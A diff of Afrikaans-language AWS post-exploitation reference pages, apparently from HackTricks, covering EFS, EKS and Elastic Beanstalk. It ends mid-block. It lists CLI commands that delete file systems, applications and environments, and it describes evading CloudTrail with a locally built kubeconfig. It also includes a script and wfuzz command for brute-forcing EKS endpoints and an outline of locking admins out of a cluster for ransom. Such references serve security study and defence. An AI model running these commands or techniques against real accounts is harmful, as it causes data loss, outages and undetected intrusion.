### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
'n Aanvaller kan 'n monteerdoelwit verwyder, wat moontlik toegang tot die EFS-lêerstelsel vir toepassings en gebruikers wat op daardie monteerdoelwit staatmaak, kan ontwrig.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
**Potensiële Impak**: Ontwrichting van lêerstelsels toegang en potensiële dataverlies vir gebruikers of toepassings.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
'n Aanvaller kan 'n hele EFS-lêerstelsel verwyder, wat kan lei tot dataverlies en impak op toepassings wat op die lêerstelsel staatmaak.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
**Potensiële Impak**: Gegevensverlies en diensonderbreking vir toepassings wat die verwyderde lêerstelsel gebruik.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
'n Aanvaller kan die EFS-lêerstelsel eienskappe opdateer, soos deursetmodus, om die prestasie daarvan te beïnvloed of hulpbronuitputting te veroorsaak.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**Potensiële Impak**: Afname van lêerstelsels se prestasie of hulpbronuitputting.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` en `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
'n Aanvaller kan toegangspunte skep of verwyder, toegangbeheer verander en moontlik onregmatige toegang tot die lêerstelsel aan hulself verleen.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
**Potensiële Impak**: Onbevoegde toegang tot die lêerstelsel, data blootstelling of wysiging.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
# AWS - EFS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
'n attacker kan 'n mount target verwyder, wat moontlik toegang tot die EFS-lêerstelsel vir toepassings en gebruikers wat op daardie mount target staatmaak, ontwrig.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
**Potensiële impak**: Ontwrigting van toegang tot die lêerstelsel en moontlike dataverlies vir gebruikers of toepassings.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
'n Aanvaller kan 'n volledige EFS-lêerstelsel verwyder, wat kan lei tot dataverlies en die werking van toepassings wat op die lêerstelsel staatmaak, beïnvloed.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
**Potensiële impak**: Dataverlies en diensonderbreking vir toepassings wat die verwyderde lêerstelsel gebruik.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
’n aanvaller kan die EFS-lêerstelsel se eienskappe bywerk, soos throughput mode, om die prestasie te beïnvloed of uitputting van hulpbronne te veroorsaak.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**Potensiële impak**: Degradasie van lêerstelselprestasies of uitputting van hulpbronne.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` en `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
'n Aanvaller kan access points skep of verwyder, toegangbeheer verander en moontlik hulself ongemagtigde toegang tot die lêerstelsel verleen.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
**Potensiële impak**: Ongeoorloofde toegang tot die lêerstelsel, blootstelling of wysiging van data.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,143 +0,0 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
Vir meer inligting, kyk
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumereer die kluster vanaf die AWS Console
|
||||
|
||||
As jy die toestemming **`eks:AccessKubernetesApi`** het, kan jy **Kubernetes-objekte** via die AWS EKS-console **bekyk** ([Leer meer](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Verbinde met AWS Kubernetes Kluster
|
||||
|
||||
- Maklike manier:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Nie so maklik nie:
|
||||
|
||||
As jy **'n token kan kry** met **`aws eks get-token --name <cluster_name>`** maar jy het nie toestemming om cluster inligting te kry nie (describeCluster), kan jy **jou eie `~/.kube/config` voorberei**. Maar, met die token, moet jy steeds die **url eindpunt om te verbind** hê (as jy daarin geslaag het om 'n JWT token van 'n pod te kry, lees [hier](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) en die **naam van die cluster**.
|
||||
|
||||
In my geval, het ek nie die inligting in CloudWatch logs gevind nie, maar ek **het dit in LaunchTemplates userData gevind** en in **EC2 masjiene in userData ook**. Jy kan hierdie inligting maklik in **userData** sien, byvoorbeeld in die volgende voorbeeld (die cluster naam was cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>kube konfig</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### Van AWS na Kubernetes
|
||||
|
||||
Die **skepper** van die **EKS-kluster** sal **ALTYD** in staat wees om in die kubernetes kluster deel van die groep **`system:masters`** (k8s admin) te kom. Ten tyde van hierdie skrywe is daar **geen direkte manier** om te vind **wie die kluster geskep het** (jy kan CloudTrail nagaan). En daar is **geen manier** om daardie **privilege** te **verwyder**.
|
||||
|
||||
Die manier om **toegang tot K8s aan meer AWS IAM gebruikers of rolle** te verleen, is deur die **configmap** **`aws-auth`** te gebruik.
|
||||
|
||||
> [!WARNING]
|
||||
> Daarom sal enigeen met **skryftoegang** oor die config map **`aws-auth`** in staat wees om die **hele kluster te kompromitteer**.
|
||||
|
||||
Vir meer inligting oor hoe om **addisionele privileges aan IAM rolle & gebruikers** in die **dieselfde of verskillende rekening** te verleen en hoe om dit te **misbruik**, kyk na [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Kyk ook na[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post om te leer hoe die authenticatie IAM -> Kubernetes werk**.
|
||||
|
||||
### Van Kubernetes na AWS
|
||||
|
||||
Dit is moontlik om 'n **OpenID-authenticatie vir kubernetes diensrekening** toe te laat om hulle in staat te stel om rolle in AWS aan te neem. Leer hoe [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### KRY Api Server Eindpunt van 'n JWT Token
|
||||
|
||||
Deur die JWT-token te ontleed, kry ons die kluster-id & ook die streek.  Weet dat die standaardformaat vir EKS-URL is
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Nie enige dokumentasie gevind wat die kriteria vir die 'twee karakters' en die 'nommer' verduidelik nie. Maar deur 'n paar toetse namens myself te doen, sien ek dat hierdie eenhede herhaaldelik voorkom:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
In elk geval is dit net 3 karakters wat ons kan bruteforce. Gebruik die onderstaande skrip om die lys te genereer.
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
|
||||
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Dan met wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Onthou om & te vervang.
|
||||
|
||||
### Bypass CloudTrail
|
||||
|
||||
As 'n aanvaller die akrediteer van 'n AWS met **toestemming oor 'n EKS** verkry. As die aanvaller sy eie **`kubeconfig`** (sonder om **`update-kubeconfig`** te noem) soos voorheen verduidelik, genereer die **`get-token`** nie logs in Cloudtrail nie omdat dit nie met die AWS API interaksie het nie (dit skep net die token plaaslik).
|
||||
|
||||
So wanneer die aanvaller met die EKS-kluster praat, **sal cloudtrail niks log wat verband hou met die gebruiker wat gesteel is en toegang daartoe het nie**.
|
||||
|
||||
Let daarop dat die **EKS-kluster dalk logs geaktiveer het** wat hierdie toegang sal log (alhoewel, standaard, is hulle gedeaktiveer).
|
||||
|
||||
### EKS Ransom?
|
||||
|
||||
Standaard het die **gebruiker of rol wat 'n** kluster geskep het **ALTYD administratiewe regte** oor die kluster. En dit is die enigste "veilige" toegang wat AWS oor die Kubernetes-kluster sal hê.
|
||||
|
||||
So, as 'n **aanvaller 'n kluster met fargate kompromitteer** en **alle ander admins verwyder** en **die AWS gebruiker/rol wat die** Kluster geskep het, verwyder, ~~kan die aanvaller die **kluster ge**~~**ransom**.
|
||||
|
||||
> [!TIP]
|
||||
> Let daarop dat as die kluster **EC2 VMs** gebruik, dit moontlik kan wees om Admin regte van die **Node** te verkry en die kluster te herstel.
|
||||
>
|
||||
> Trouens, as die kluster Fargate gebruik, kan jy EC2 nodes of alles na EC2 na die kluster skuif en dit herstel deur toegang tot die tokens in die node te verkry.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+143
@@ -0,0 +1,143 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
Vir meer inligting sien
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumerate the cluster from the AWS Console
|
||||
|
||||
As jy die toestemming **`eks:AccessKubernetesApi`** het, kan jy **Kubernetes-objekte besigtig** via die AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Koppel aan AWS Kubernetes-kluster
|
||||
|
||||
- Maklike manier:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Nie daardie maklike manier nie:
|
||||
|
||||
As jy **'n token kan kry** met **`aws eks get-token --name <cluster_name>`** maar jy het nie permissies om cluster-inligting te kry (describeCluster) nie, kan jy **jou eie `~/.kube/config` voorberei**. Alhoewel jy die token het, het jy steeds die **URL-eindpunt om aan te koppel** nodig (as jy daarin geslaag het om 'n JWT token van 'n pod te kry lees [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) en die **naam van die cluster**.
|
||||
|
||||
In my geval het ek die inligting nie in CloudWatch logs gevind nie, maar ek **het dit in LaunchTemaplates userData gevind** en ook in **EC2 machines in userData**. Jy kan hierdie inligting maklik in **userData** sien, byvoorbeeld in die volgende voorbeeld (die cluster naam was cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### Van AWS na Kubernetes
|
||||
|
||||
Die **skepper** van die **EKS cluster** sal **ALWAYS** toegang hê tot die kubernetes cluster deel van die groep **`system:masters`** (k8s admin). Op die tyd van skrywe is daar **no direct way** om te vind **wie die cluster geskep het** (jy kan CloudTrail nagaan). En daar is **no way** om daardie **privilege** te **remove**.
|
||||
|
||||
Die manier om **access to over K8s to more AWS IAM users or roles** te verleen is deur die **configmap** **`aws-auth`** te gebruik.
|
||||
|
||||
> [!WARNING]
|
||||
> Daarom sal enigiemand met **write access** oor die config map **`aws-auth`** in staat wees om die **compromise the whole cluster**.
|
||||
|
||||
Vir meer inligting oor hoe om **extra voorregte aan IAM roles & users te verleen** in die **selfde of ander account** en hoe om dit te **abuse** sien [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Kyk ook [ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
|
||||
|
||||
### Van Kubernetes na AWS
|
||||
|
||||
Dit is moontlik om **OpenID authentication for kubernetes service account** toe te laat sodat hulle rolle in AWS kan assume. Leer hoe [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### GET Api Server Endpoint from a JWT Token
|
||||
|
||||
Deur die JWT token te decodeer kry ons die cluster id & ook die region.  Wetende dat die standaard formaat vir EKS url is
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Ek het geen dokumentasie gevind wat die kriteria vir die 'two chars' en die 'number' verduidelik nie. Maar nadat ek 'n paar toetse gedoen het, sien ek dat die volgende gereeld voorkom:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Dit is tog net 3 tekens; ons kan dit bruteforce. Gebruik die onderstaande script om die lys te genereer
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
|
||||
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Dan met wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Onthou om & te vervang .
|
||||
|
||||
### Bypass CloudTrail
|
||||
|
||||
As 'n aanvaller credentiale van 'n AWS-rekening met **permission over an EKS** bekom. As die aanvaller sy eie **`kubeconfig`** opstel (sonder om **`update-kubeconfig`** te roep) soos voorheen verduidelik, genereer **`get-token`** geen logs in Cloudtrail nie omdat dit nie met die AWS API kommunikeer nie (dit skep net die token lokaal).
|
||||
|
||||
Dus, wanneer die aanvaller met die EKS cluster kommunikeer, **cloudtrail sal niks log wat verband hou met die gesteelde gebruiker en toegang daartoe nie**.
|
||||
|
||||
Let wel dat die **EKS cluster dalk logs geaktiveer het** wat hierdie toegang sal log (alhoewel hulle standaard gedeaktiveer is).
|
||||
|
||||
### EKS Ransom?
|
||||
|
||||
Per verstek sal die gebruiker of rol wat 'n cluster geskep het, ALTYD admin-regte oor die cluster hê. En dit is die enigste "secure" toegang wat AWS oor die Kubernetes cluster sal hê.
|
||||
|
||||
So, as 'n **aanvaller 'n cluster kompromitteer wat fargate gebruik** en **al die ander admins verwyder** en d**eleteer die AWS user/role wat die Cluster geskep het**, die Cluster, ~~die aanvaller kon die cluster **losgekoop die kluste**~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Let wel dat as die cluster **EC2 VMs** gebruik het, dit moontlik sou wees om Admin-regte van die **Node** te kry en die cluster te herstel.
|
||||
>
|
||||
> Trouens, as die cluster Fargate gebruik, kan jy EC2 nodes skep of alles na EC2 skuif in die cluster en dit herstel deur toegang tot die tokens op die node.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-70
@@ -1,70 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Vir meer inligting:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets of meer toestemmings benodig word vir hierdie
|
||||
|
||||
'n Aanvaller met die toestemming `elasticbeanstalk:DeleteApplicationVersion` kan **'n bestaande toepassingsweergawe verwyder**. Hierdie aksie kan toepassingsontplooiing pyplyne ontwrig of die verlies van spesifieke toepassingsweergawes veroorsaak as dit nie geback-up is nie.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Potensiële Impak**: Ontwrichting van toepassingsontplooiing en potensiële verlies van toepassingsweergawes.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets of meer toestemmings benodig word vir dit
|
||||
|
||||
'n Aanvaller met die toestemming `elasticbeanstalk:TerminateEnvironment` kan **'n bestaande Elastic Beanstalk-omgewing beëindig**, wat stilstand van die toepassing en potensiële dataverlies kan veroorsaak as die omgewing nie vir rugsteun geconfigureer is nie.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Potensiële Impak**: Stilstand van die toepassing, potensiële dataverlies, en ontwrigting van dienste.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets of meer toestemmings benodig word vir dit
|
||||
|
||||
'n Aanvaller met die toestemming `elasticbeanstalk:DeleteApplication` kan **'n hele Elastic Beanstalk-toepassing verwyder**, insluitend al sy weergawes en omgewings. Hierdie aksie kan 'n beduidende verlies van toepassingshulpbronne en konfigurasies veroorsaak as dit nie geback-up is nie.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Potensiële Impak**: Verlies van toepassingshulpbronne, konfigurasies, omgewings en toepassingsweergawe, wat kan lei tot diensonderbreking en potensiële dataverlies.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets of meer toestemmings benodig word vir dit
|
||||
|
||||
'n Aanvaller met die `elasticbeanstalk:SwapEnvironmentCNAMEs` toestemming kan **die CNAME-rekords van twee Elastic Beanstalk omgewings verwissel**, wat mag veroorsaak dat die verkeerde weergawe van die toepassing aan gebruikers bedien word of lei tot onbedoelde gedrag.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Potensiële Impak**: Om die verkeerde weergawe van die toepassing aan gebruikers te dien of om onbedoelde gedrag in die toepassing te veroorsaak as gevolg van verwisselde omgewings.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets of meer toestemmings benodig word vir dit
|
||||
|
||||
'n Aanvaller met die `elasticbeanstalk:AddTags` en `elasticbeanstalk:RemoveTags` toestemmings kan **tags op Elastic Beanstalk hulpbronne byvoeg of verwyder**. Hierdie aksie kan lei tot verkeerde hulpbron toewysing, fakturering, of hulpbron bestuur.
|
||||
```bash
|
||||
